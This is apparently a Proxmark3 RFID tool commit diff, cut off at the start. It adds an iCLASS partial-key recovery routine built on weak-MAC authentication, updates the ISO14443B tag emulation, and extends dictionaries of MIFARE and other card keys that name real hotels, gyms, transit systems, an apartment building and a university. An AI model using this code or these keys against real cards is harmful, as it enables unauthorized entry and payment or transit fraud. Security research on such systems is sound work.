{ 0x00, 0x00, 0x00, 0x00, 0x59, 0x7F, 0x4B, 0x58 }, //Expected mac when last 3 bits of each byte are: 101
{ 0x00, 0x00, 0x00, 0x00, 0x1A, 0xA7, 0x66, 0x46 }, //Expected mac when last 3 bits of each byte are: 110
{ 0x00, 0x00, 0x00, 0x00, 0xE2, 0xD5, 0x69, 0xE9 } //Expected mac when last 3 bits of each byte are: 111
};
//Viewing the weak macs table card 24 bits (3x8) in the form of a 24 bit decimal number
static uint32_t iclass_mac_table_bit_values[8] = {0, 2396745, 4793490, 7190235, 9586980, 11983725, 14380470, 16777215};
/* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte.
If we concatenate the last three bits of each key byte, we have a 24 bits long binary string.
If we convert that string to decimal we obtain the decimal numbers in iclass_mac_table_bit_values
Xorring the index of iterations against those decimal numbers allows us to retrieve the what was the corresponding sequence of bits of the original key in decimal format. */
uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
uint32_t index = 1;
int bits_found = -1;
//START LOOP
while (bits_found == -1) {
//Step3 Calculate New Key
uint8_t genkeyblock[PICOPASS_BLOCK_SIZE];
uint8_t genkeyblock_old[PICOPASS_BLOCK_SIZE];
uint8_t xorkeyblock[PICOPASS_BLOCK_SIZE];
generate_single_key_block_inverted(zero_key, index, genkeyblock);
//NOTE BEFORE UPDATING THE KEY WE NEED TO KEEP IN MIND KEYS ARE XORRED
//xor the new key against the previously generated key so that we only update the difference
if (index != 0) {
generate_single_key_block_inverted(zero_key, index - 1, genkeyblock_old);
for (int i = 0; i < 8 ; i++) {
xorkeyblock[i] = genkeyblock[i] ^ genkeyblock_old[i];
}
} else {
memcpy(xorkeyblock, genkeyblock, PICOPASS_BLOCK_SIZE);
}
//Step4 Calculate New Mac
bool use_mac = true;
uint8_t wb[9] = {0};
blockno = 3;
wb[0] = blockno;
memcpy(wb + 1, xorkeyblock, 8);
doMAC_N(wb, sizeof(wb), div_key2, mac2);
//Step5 Perform Write
DbpString("Generated XOR Key: ");
Dbhexdump(8, xorkeyblock, false);
if (iclass_writeblock_ext(blockno, xorkeyblock, mac2, use_mac, shallow_mod)) {
Dbprintf("Write block [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno);
} else {
Dbprintf("Write block [%3d/0x%02X] " _RED_("failed"), blockno, blockno);
if (index > 1) {
Dbprintf(_RED_("Card is likely to be unusable!"));
}
goto out;
}
//Step6 Perform 8 authentication attempts
for (int i = 0; i < 8 ; ++i) {
//need to craft the authentication payload accordingly
memcpy(msg->req.key, iclass_mac_table[i], 8);
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter
if (res == true) {
bits_found = iclass_mac_table_bit_values[i] ^ index;
Dbprintf("Found Card Bits Index: " _GREEN_("[%3d]"), index);
Dbprintf("Mac Table Bit Values: " _GREEN_("[%3d]"), iclass_mac_table_bit_values[i]);
Dbprintf("Decimal Value of Partial Key: " _GREEN_("[%3d]"), bits_found);
goto restore;
}
}
index++;
}//end while
restore:
;//empty statement for compilation
uint8_t partialkey[PICOPASS_BLOCK_SIZE];
convertToHexArray(bits_found, partialkey);
uint8_t resetkey[PICOPASS_BLOCK_SIZE];
convertToHexArray(index, resetkey);
//Calculate reset Mac
bool use_mac = true;
uint8_t wb[9] = {0};
blockno = 3;
wb[0] = blockno;
memcpy(wb + 1, resetkey, 8);
doMAC_N(wb, sizeof(wb), div_key2, mac2);
//Write back the card to the original key
DbpString(_YELLOW_("Restoring Card to the original key using Reset Key: "));
Dbhexdump(8, resetkey, false);
if (iclass_writeblock_ext(blockno, resetkey, mac2, use_mac, shallow_mod)) {
Dbprintf("Restore of Original Key "_GREEN_("successful. Card is usable again."));
} else {
Dbprintf("Restore of Original Key " _RED_("failed. Card is likely unusable."));
}
//Print the 24 bits found from k1
DbpString(_YELLOW_("Raw Key Partial Bytes: "));
Dbhexdump(8, partialkey, false);
switch_off();
reply_ng(CMD_HF_ICLASS_RECOVER, PM3_SUCCESS, NULL, 0);
out:
switch_off();
reply_ng(CMD_HF_ICLASS_RECOVER, PM3_ESOFT, NULL, 0);
}

View file

@ -70,4 +70,7 @@ bool authenticate_iclass_tag(iclass_auth_req_t *payload, picopass_hdr_t *hdr, ui
uint8_t get_pagemap(const picopass_hdr_t *hdr); uint8_t get_pagemap(const picopass_hdr_t *hdr);
void iclass_send_as_reader(uint8_t *frame, int len, uint32_t *start_time, uint32_t *end_time, bool shallow_mod); void iclass_send_as_reader(uint8_t *frame, int len, uint32_t *start_time, uint32_t *end_time, bool shallow_mod);
void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock);
void iClass_Recover(iclass_recover_req_t *msg);
#endif #endif

View file

@ -186,7 +186,7 @@
#endif #endif
// 4sample // 4sample
#define SEND4STUFFBIT(x) tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x); #define SEND4STUFFBIT(x) tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));
static void iso14b_set_timeout(uint32_t timeout_etu); static void iso14b_set_timeout(uint32_t timeout_etu);
static void iso14b_set_maxframesize(uint16_t size); static void iso14b_set_maxframesize(uint16_t size);
@ -702,10 +702,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) {
// Signal field is off with the appropriate LED // Signal field is off with the appropriate LED
LED_D_OFF(); LED_D_OFF();
// TR0: min - 1024 cycles = 75.52 us - max 4096 cycles = 302.08 us
SpinDelayUs(76);
// Modulate BPSK // Modulate BPSK
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK);
AT91C_BASE_SSC->SSC_THR = 0xFF;
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR);
// Transmit the response. // Transmit the response.
for (uint16_t i = 0; i < len;) { for (uint16_t i = 0; i < len;) {
@ -713,6 +714,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) {
// Put byte into tx holding register as soon as it is ready // Put byte into tx holding register as soon as it is ready
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) {
AT91C_BASE_SSC->SSC_THR = response[i++]; AT91C_BASE_SSC->SSC_THR = response[i++];
// Start-up SSC once first byte is in SSC_THR
if (i == 1) {
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR);
}
} }
} }
} }
@ -771,7 +777,7 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
static const uint8_t respOK[] = {0x00, 0x78, 0xF0}; static const uint8_t respOK[] = {0x00, 0x78, 0xF0};
uint16_t len, cmdsReceived = 0; uint16_t len, cmdsReceived = 0;
int cardSTATE = SIM_NOFIELD; int cardSTATE = SIM_POWER_OFF;
int vHf = 0; // in mV int vHf = 0; // in mV
const tosend_t *ts = get_tosend(); const tosend_t *ts = get_tosend();
@ -801,16 +807,18 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
} }
// find reader field // find reader field
if (cardSTATE == SIM_NOFIELD) {
vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15; vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15;
if (vHf > MF_MINFIELDV) { if (vHf > MF_MINFIELDV) {
if (cardSTATE == SIM_POWER_OFF) {
cardSTATE = SIM_IDLE; cardSTATE = SIM_IDLE;
LED_A_ON(); LED_A_ON();
} }
} else {
cardSTATE = SIM_POWER_OFF;
LED_A_OFF();
} }
if (cardSTATE == SIM_NOFIELD) { if (cardSTATE == SIM_POWER_OFF) {
continue; continue;
} }
@ -820,75 +828,87 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
break; break;
} }
// ISO14443-B protocol states:
// REQ or WUP request in ANY state
// WUP in HALTED state
if (len == 5) {
if (((receivedCmd[0] == ISO14443B_REQB) && ((receivedCmd[2] & 0x08) == 0x08) && (cardSTATE == SIM_HALTED)) ||
(receivedCmd[0] == ISO14443B_REQB)) {
LogTrace(receivedCmd, len, 0, 0, NULL, true); LogTrace(receivedCmd, len, 0, 0, NULL, true);
cardSTATE = SIM_SELECTING;
}
}
/*
* How should this flow go?
* REQB or WUPB
* send response ( waiting for Attrib)
* ATTRIB
* send response ( waiting for commands 7816)
* HALT
send halt response ( waiting for wupb )
*/
if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && (receivedCmd[2] & 0x08)) {
// WUPB
switch (cardSTATE) { switch (cardSTATE) {
//case SIM_NOFIELD: case SIM_IDLE:
case SIM_HALTED: case SIM_READY:
case SIM_IDLE: { case SIM_HALT: {
LogTrace(receivedCmd, len, 0, 0, NULL, true);
break;
}
case SIM_SELECTING: {
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen); TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false); LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
cardSTATE = SIM_WORK; cardSTATE = SIM_READY;
break; break;
} }
case SIM_HALTING: { case SIM_ACTIVE:
TransmitFor14443b_AsTag(encodedOK, encodedOKLen); default: {
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
cardSTATE = SIM_HALTED; LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
break; break;
} }
case SIM_ACKNOWLEDGE: { }
TransmitFor14443b_AsTag(encodedOK, encodedOKLen); } else if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && !(receivedCmd[2] & 0x08)) {
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); // REQB
cardSTATE = SIM_IDLE; switch (cardSTATE) {
case SIM_IDLE:
case SIM_READY: {
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
cardSTATE = SIM_READY;
break; break;
} }
case SIM_WORK: { case SIM_ACTIVE: {
if (len == 7 && receivedCmd[0] == ISO14443B_HALT) { TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
cardSTATE = SIM_HALTED; LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
} else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) {
cardSTATE = SIM_ACKNOWLEDGE;
} else {
// Todo:
// - SLOT MARKER
// - ISO7816
// - emulate with a memory dump
if (g_dbglevel >= DBG_DEBUG) {
Dbprintf("new cmd from reader: len=%d, cmdsRecvd=%d", len, cmdsReceived);
}
cardSTATE = SIM_IDLE;
}
break; break;
} }
case SIM_HALT:
default: { default: {
break; break;
} }
} }
} else if ((len == 7) && (receivedCmd[0] == ISO14443B_HALT)) {
// HLTB
switch (cardSTATE) {
case SIM_READY: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
cardSTATE = SIM_HALT;
break;
}
case SIM_IDLE:
case SIM_ACTIVE: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
break;
}
case SIM_HALT:
default: {
break;
}
}
} else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) {
// ATTRIB
switch (cardSTATE) {
case SIM_READY: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
cardSTATE = SIM_ACTIVE;
break;
}
case SIM_IDLE:
case SIM_ACTIVE: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
break;
}
case SIM_HALT:
default: {
break;
}
}
}
++cmdsReceived; ++cmdsReceived;
} }

View file

@ -49,12 +49,10 @@ void SniffIso14443b(void);
void SendRawCommand14443B(iso14b_raw_cmd_t *p); void SendRawCommand14443B(iso14b_raw_cmd_t *p);
// States for 14B SIM command // States for 14B SIM command
#define SIM_NOFIELD 0 #define SIM_POWER_OFF 0
#define SIM_IDLE 1 #define SIM_IDLE 1
#define SIM_HALTED 2 #define SIM_READY 2
#define SIM_SELECTING 3 #define SIM_HALT 3
#define SIM_HALTING 4 #define SIM_ACTIVE 4
#define SIM_ACKNOWLEDGE 5
#define SIM_WORK 6
#endif /* __ISO14443B_H */ #endif /* __ISO14443B_H */

View file

@ -134,10 +134,11 @@ void initSampleBuffer(uint32_t *sample_size) {
} }
void initSampleBufferEx(uint32_t *sample_size, bool use_malloc) { void initSampleBufferEx(uint32_t *sample_size, bool use_malloc) {
if (sample_size == NULL) { if (sample_size == NULL) {
Dbprintf("initSampleBufferEx, param NULL");
return; return;
} }
BigBuf_free_keep_EM(); BigBuf_free_keep_EM();
// We can't erase the buffer now, it would drastically delay the acquisition // We can't erase the buffer now, it would drastically delay the acquisition
@ -181,14 +182,26 @@ void logSampleSimple(uint8_t sample) {
void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) { void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) {
if (!data.buffer) return; if (!data.buffer) {
return;
}
// keep track of total gather samples regardless how many was discarded. // keep track of total gather samples regardless how many was discarded.
if (samples.counter-- == 0) return; if (samples.counter-- == 0) {
return;
}
if (bits_per_sample == 0) bits_per_sample = 1; if (bits_per_sample == 0) {
if (bits_per_sample > 8) bits_per_sample = 8; bits_per_sample = 1;
if (decimation == 0) decimation = 1; }
if (bits_per_sample > 8) {
bits_per_sample = 8;
}
if (decimation == 0) {
decimation = 1;
}
if (avg) { if (avg) {
samples.sum += sample; samples.sum += sample;
@ -198,7 +211,9 @@ void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool
if (decimation > 1) { if (decimation > 1) {
samples.dec_counter++; samples.dec_counter++;
if (samples.dec_counter < decimation) return; if (samples.dec_counter < decimation) {
return;
}
samples.dec_counter = 0; samples.dec_counter = 0;
} }
@ -542,7 +557,6 @@ out:
LED_D_OFF(); LED_D_OFF();
// DoAcquisition() end // DoAcquisition() end
StopTicks(); StopTicks();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
return return_value; return return_value;

View file

@ -639,24 +639,32 @@ void rdv40_spiffs_safe_print_tree(void) {
struct spiffs_dirent e; struct spiffs_dirent e;
struct spiffs_dirent *pe = &e; struct spiffs_dirent *pe = &e;
char *resolvedlink = (char *)BigBuf_calloc(11 + SPIFFS_OBJ_NAME_LEN);
char *linkdest = (char *)BigBuf_calloc(SPIFFS_OBJ_NAME_LEN);
bool printed = false;
SPIFFS_opendir(&fs, "/", &d); SPIFFS_opendir(&fs, "/", &d);
while ((pe = SPIFFS_readdir(&d, pe))) { while ((pe = SPIFFS_readdir(&d, pe))) {
char resolvedlink[11 + SPIFFS_OBJ_NAME_LEN]; memset(resolvedlink, 0, 11 + SPIFFS_OBJ_NAME_LEN);
if (rdv40_spiffs_is_symlink((const char *)pe->name)) { if (rdv40_spiffs_is_symlink((const char *)pe->name)) {
char linkdest[SPIFFS_OBJ_NAME_LEN];
read_from_spiffs((char *)pe->name, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN); read_from_spiffs((char *)pe->name, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN);
sprintf(resolvedlink, "(.lnk) --> %s", linkdest); sprintf(resolvedlink, "(.lnk) --> %s", linkdest);
// Kind of stripping the .lnk extension // Kind of stripping the .lnk extension
strtok((char *)pe->name, "."); strtok((char *)pe->name, ".");
} else {
memset(resolvedlink, 0, sizeof(resolvedlink));
} }
Dbprintf("[%04x]\t " _YELLOW_("%i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink); Dbprintf("[%04x] " _YELLOW_("%5i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink);
printed = true;
}
if (printed == false) {
DbpString("<empty>");
} }
SPIFFS_closedir(&d); SPIFFS_closedir(&d);
rdv40_spiffs_lazy_mount_rollback(changed); rdv40_spiffs_lazy_mount_rollback(changed);
BigBuf_free();
} }
void rdv40_spiffs_safe_wipe(void) { void rdv40_spiffs_safe_wipe(void) {

View file

@ -395,3 +395,23 @@ uint32_t flash_size_from_cidr(uint32_t cidr) {
uint32_t get_flash_size(void) { uint32_t get_flash_size(void) {
return flash_size_from_cidr(*AT91C_DBGU_CIDR); return flash_size_from_cidr(*AT91C_DBGU_CIDR);
} }
// Combined function to convert an unsigned int to an array of hex values corresponding to the last three bits of k1
void convertToHexArray(uint8_t num, uint8_t *partialkey) {
char binaryStr[25]; // 24 bits for binary representation + 1 for null terminator
binaryStr[24] = '\0'; // Null-terminate the string
// Convert the number to binary string
for (int i = 23; i >= 0; i--) {
binaryStr[i] = (num % 2) ? '1' : '0';
num /= 2;
}
// Split the binary string into groups of 3 and convert to hex
for (int i = 0; i < 8 ; i++) {
char group[4];
strncpy(group, binaryStr + i * 3, 3);
group[3] = '\0'; // Null-terminate the group string
partialkey[i] = (uint8_t)strtoul(group, NULL, 2);
}
}

View file

@ -88,6 +88,8 @@ int hex2binarray(char *target, char *source);
int hex2binarray_n(char *target, const char *source, int sourcelen); int hex2binarray_n(char *target, const char *source, int sourcelen);
int binarray2hex(const uint8_t *bs, int bs_len, uint8_t *hex); int binarray2hex(const uint8_t *bs, int bs_len, uint8_t *hex);
void convertToHexArray(uint8_t num, uint8_t *partialKey);
void LED(int led, int ms); void LED(int led, int ms);
void LEDsoff(void); void LEDsoff(void);
void SpinOff(uint32_t pause); void SpinOff(uint32_t pause);

View file

@ -307,7 +307,7 @@ E3429281EFC1
# EPI Envisionte # EPI Envisionte
AAFB06045877 AAFB06045877
# #
# gym # Gyms / Fitness Clubs / Health Clubs / Wellness Centres
# #
# Fysiken A # Fysiken A
3E65E4FB65B3 3E65E4FB65B3
@ -318,8 +318,8 @@ AAFB06045877
# #
# https://mattionline.de/fitnessstudio-armband-reverse-engineering/ # https://mattionline.de/fitnessstudio-armband-reverse-engineering/
# https://mattionline.de/milazycracker/ # https://mattionline.de/milazycracker/
# gym wistband A, same as Fysiken A # Gym Wristband A - Same as Fysiken A
# gym wistband B # Gym Wristband B
81CC25EBBB6A 81CC25EBBB6A
195DC63DB3A3 195DC63DB3A3
# #
@ -330,10 +330,14 @@ A05DBD98E0FC
AA4DDA458EBB AA4DDA458EBB
EAB8066C7479 EAB8066C7479
# #
# Nordic Wellness A, same as Fysiken A # Nordic Wellness A - Same as Fysiken A
# Nordic Wellness B # Nordic Wellness B
E5519E1CC92B E5519E1CC92B
# #
# Jett's 24 Hour Fitness S0 KA/B
# 049979614077
# 829338771705
#
# Hotel KeyCard # Hotel KeyCard
D3B595E9DD63 D3B595E9DD63
AFBECD121004 AFBECD121004
@ -1110,6 +1114,14 @@ EA0FD73CB149
FC0001877BF7 FC0001877BF7
FD8705E721B0 FD8705E721B0
00ADA2CD516D 00ADA2CD516D
518108E061E2
558AAD64EB5B
001122334455
6CA761AB6CA7
B1C4A8F7F6E3
FF75AFDA5A3C
FCDDF7767C10
A6B3F6C8F1D4
# #
# #
237A4D0D9119 237A4D0D9119
@ -2193,6 +2205,13 @@ C8382A233993
7B304F2A12A6 7B304F2A12A6
FC9418BF788B FC9418BF788B
# #
# Guest Cashless Prepaid Arcade Payment Cards
168168168168
198407157610
4E4F584D2101
4E4F584D2105
686B35333376
861861861861
# Data from "the more the marriott" mifare project (colonelborkmundus) # Data from "the more the marriott" mifare project (colonelborkmundus)
# aka The Horde # aka The Horde
# #
@ -2345,9 +2364,8 @@ EA0CA627FD06
# Hotel key # Hotel key
CE0F4F15E909 CE0F4F15E909
D60DE9436219 D60DE9436219
#
# ATM Area de Girona, spanish transport card # ATM Area de Girona, spanish transport card
A01000000000 A01000000000
A02000000000 A02000000000
A03000000000 A03000000000
@ -2363,7 +2381,6 @@ A12000000000
A13000000000 A13000000000
A14000000000 A14000000000
A15000000000 A15000000000
B01000000000 B01000000000
B02000000000 B02000000000
B03000000000 B03000000000
@ -2379,7 +2396,7 @@ B12000000000
B13000000000 B13000000000
B14000000000 B14000000000
B15000000000 B15000000000
#
# Pittsburgh, PA, USA - Pittsburgh Regional Transit ConnectCard # Pittsburgh, PA, USA - Pittsburgh Regional Transit ConnectCard
A7AE4A5A33DC A7AE4A5A33DC
6B857B568C10 6B857B568C10
@ -2413,7 +2430,100 @@ CE8BFF3728EE
09938D05DA78 09938D05DA78
EACDA4DBE420 EACDA4DBE420
EC2B9FD483CA EC2B9FD483CA
#
# Hotel Intelier Orange - Benicasim, Spain # Hotel Intelier Orange - Benicasim, Spain
# block 1 - key A # block 1 - key A
04256CFE0425 04256CFE0425
#
# InsideWash Membership Card - Portugal
C18063858BB9
#
# An apartment building in Sydney Olympic Park
13254608D0AB
24A2971BC0B2
14264709D1AC
25A3981CC1B3
1527480AD2AD
26A4991DC2B4
1628490BD3AE
27A59A1EC3B5
17294A0CD4AF
28A69B1FC4B6
182A4B0DD5B0
29A79C20C5B7
192B4C0ED6B1
2AA89D21C6B8
1A2C4D0FD7B2
2BA99E22C7B9
1B2D4E10D8B3
2CAA9F23C8BA
1C2E4F11D9B4
2DABA024C9BB
1D2F5012DAB5
2EACA125CABC
1E305113DBB6
2FADA226CBBD
1F315214DCB7
30AEA327CCBE
20325315DDB8
31AFA428CDBF
21335416DEB9
32B0A529CEC0
22345517DFBA
33B1A62ACFC1
#
# Universidade de São Paulo (USP) student card
17B50E38F1B0
24E311F594CE
3794FBFB1A54
43B229069F6A
4531952F765F
4943F2F35E0A
4985E681EF88
4F56C88E0337
710070E92C79
8A036C5C35D4
A027BD830A06
D33673C19243
D89A506542F2
E5813CD228F1
FAB943906E9C
#
# R.A.T.T transport card key A/B
AA034F342A55
456776908C48
# BusFacil - Brazilian public transport card for some cities
7b296f353c6b
3fa7217ec575
fae9b14365a9
c567dd4a6004
c567dd4a6005
c567dd4a6006
c567dd4a6007
c567dd4a6008
c567dd4a6009
c567dd4a600a
c567dd4a600d
c567dd4a600e
c567dd4a600f
5ef014ec5d7f
5086052022ac
bd6af9754c18
5d67d4732a7d
17fe45604a04
17fe45604a05
17fe45604a06
17fe45604a07
17fe45604a08
17fe45604a09
17fe45604a0a
17fe45604a0d
17fe45604a0e
17fe45604a0f
# keys for swimming pool cards in Reykjavík Iceland
28220F14BEF0
# key for Orkan keyfobs
300724070486
# key for Atlantsolía keyfobs
60FCB3C42ABF

View file

@ -3,4 +3,8 @@
# -- iceman fork version -- # -- iceman fork version --
# -- contribute to this list, sharing is caring -- # -- contribute to this list, sharing is caring --
# #
425245414B4D454946594F5543414E21 # Sample Key (BREAKMEIFYOUCAN!) 12E4143455F495649454D4B414542524 # ( 4U d T T%$) Hexadecimal-Reversed Sample Key
214E4143554F594649454D4B41455242 # (!NACUOYFIEMKAERB) Byte-Reversed Sample Key
425245414B4D454946594F5543414E21 # (BREAKMEIFYOUCAN!) Sample Key
49454D4B41455242214E4143554F5900 # (IEMKAERB!NACUOY ) Semnox Key
49454D4B41455242214E4143554F5946 # (IEMKAERB!NACUOYF) Modified Semnox Key

View file

@ -5,6 +5,8 @@
51243648 51243648
000D8787 000D8787
19920427 19920427
# White Chinese cloner, circa 2019, firmware v5.04.16.0727 (eBay)
002BCFCF
# ZX-copy3 T55xx / EM4305 # ZX-copy3 T55xx / EM4305
# ref. http://www.proxmark.org/forum/viewtopic.php?pid=40662#p40662 # ref. http://www.proxmark.org/forum/viewtopic.php?pid=40662#p40662
# default PROX # default PROX

View file

@ -46,6 +46,7 @@ endif()
find_package(PkgConfig) find_package(PkgConfig)
if (NOT SKIPQT EQUAL 1) if (NOT SKIPQT EQUAL 1)
if(APPLE AND EXISTS /usr/local/opt/qt5) if(APPLE AND EXISTS /usr/local/opt/qt5)
# Homebrew installs Qt5 (up to at least 5.11.0) in # Homebrew installs Qt5 (up to at least 5.11.0) in
# /usr/local/opt/qt5. Ensure that it can be found by CMake # /usr/local/opt/qt5. Ensure that it can be found by CMake
@ -56,16 +57,17 @@ if (NOT SKIPQT EQUAL 1)
# e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS}) # e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS})
list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /usr/local/opt/qt5) list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /usr/local/opt/qt5)
endif(APPLE AND EXISTS /usr/local/opt/qt5) endif(APPLE AND EXISTS /usr/local/opt/qt5)
if(APPLE AND EXISTS /opt/homebrew/opt/qt5)
if(APPLE AND EXISTS /opt/homebrew/opt/qt@5)
# Homebrew on Apple Silicon installs Qt5 in # Homebrew on Apple Silicon installs Qt5 in
# /opt/homebrew/opt/qt5. Ensure that it can be found by CMake # /opt/homebrew/opt/qt@5. Ensure that it can be found by CMake
# since it is not in the default /usr/local prefix. # since it is not in the default /usr/local prefix.
# Add it to PATHS so that it doesn't override the # Add it to PATHS so that it doesn't override the
# CMAKE_PREFIX_PATH environment variable. # CMAKE_PREFIX_PATH environment variable.
# QT_FIND_PACKAGE_OPTIONS should be passed to find_package, # QT_FIND_PACKAGE_OPTIONS should be passed to find_package,
# e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS}) # e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS})
list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt5) list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt@5)
endif(APPLE AND EXISTS /opt/homebrew/opt/qt5) endif(APPLE AND EXISTS /opt/homebrew/opt/qt@5)
set(QT_PACKAGELIST set(QT_PACKAGELIST
Qt5Core Qt5Core
Qt5Widgets Qt5Widgets
@ -262,6 +264,7 @@ set (TARGET_SOURCES
${PM3_ROOT}/common/cardhelper.c ${PM3_ROOT}/common/cardhelper.c
${PM3_ROOT}/common/generator.c ${PM3_ROOT}/common/generator.c
${PM3_ROOT}/common/bruteforce.c ${PM3_ROOT}/common/bruteforce.c
${PM3_ROOT}/common/hitag2/hitag2_crypto.c
${PM3_ROOT}/client/src/crypto/asn1dump.c ${PM3_ROOT}/client/src/crypto/asn1dump.c
${PM3_ROOT}/client/src/crypto/asn1utils.c ${PM3_ROOT}/client/src/crypto/asn1utils.c
${PM3_ROOT}/client/src/crypto/libpcrypto.c ${PM3_ROOT}/client/src/crypto/libpcrypto.c
@ -455,7 +458,6 @@ if (APPLE)
message(STATUS "AppKit.framework found! ${APPKIT_LIBRARY}") message(STATUS "AppKit.framework found! ${APPKIT_LIBRARY}")
set(ADDITIONAL_LNK "-framework Foundation" "-framework AppKit") set(ADDITIONAL_LNK "-framework Foundation" "-framework AppKit")
endif() endif()
endif (APPLE) endif (APPLE)
if ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND)) if ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND))
@ -675,6 +677,8 @@ if (NOT SKIPPYTHON EQUAL 1)
endif (NOT SKIPPYTHON EQUAL 1) endif (NOT SKIPPYTHON EQUAL 1)
message(STATUS "===================================================================") message(STATUS "===================================================================")
add_definitions(-DHAVE_SNPRINTF)
add_library(pm3rrg_rdv4 SHARED add_library(pm3rrg_rdv4 SHARED
${PM3_ROOT}/client/src/proxmark3.c ${PM3_ROOT}/client/src/proxmark3.c
${TARGET_SOURCES} ${TARGET_SOURCES}
@ -733,6 +737,9 @@ target_include_directories(pm3rrg_rdv4 PRIVATE
if (NOT APPLE) if (NOT APPLE)
# required for Raspberry Pi, but breaks with clang (OSX). Need to be at the end of the linker line. # required for Raspberry Pi, but breaks with clang (OSX). Need to be at the end of the linker line.
set(ADDITIONAL_LNK ${ADDITIONAL_LNK} -Wl,--as-needed -latomic -Wl,--no-as-needed) set(ADDITIONAL_LNK ${ADDITIONAL_LNK} -Wl,--as-needed -latomic -Wl,--no-as-needed)
else (NOT APPLE)
#set_property(TARGET proxmark3 PROPERTY LINK_FLAGS "-Wl,-undefined dynamic_lookup")
set(ADDITIONAL_LNK ${ADDITIONAL_LNK} -Wl,-undefined,dynamic_lookup)
endif (NOT APPLE) endif (NOT APPLE)
if (NOT JANSSON_FOUND) if (NOT JANSSON_FOUND)

View file

@ -167,12 +167,11 @@ local function help()
print(ansicolors.cyan..'Example usage'..ansicolors.reset) print(ansicolors.cyan..'Example usage'..ansicolors.reset)
print(example) print(example)
end end
-- read LEGIC data -- read LEGIC info
local function readlegicdata(offset, len, iv) local function readlegicinfo()
-- Read data -- Read data
local d0 = ('%04X%04X%02X'):format(offset, len, iv) local c = Command:newNG{cmd = cmds.CMD_HF_LEGIC_INFO, data = nil}
local c = Command:newNG{cmd = cmds.CMD_HF_LEGIC_READER, data = d0} local result, err = c:sendNG(false, 2000)
local result, err = c:sendNG()
if not result then return oops(err) end if not result then return oops(err) end
-- result is a packed data structure, data starts at offset 33 -- result is a packed data structure, data starts at offset 33
return result return result
@ -404,15 +403,15 @@ local function writeToTag(plainBytes)
return return
end end
readbytes = readlegicdata(0, 4, 0x55) readbytes = readlegicinfo()
-- gather MCD & MSN from new Tag - this must be enterd manually -- gather MCD & MSN from new Tag - this must be enterd manually
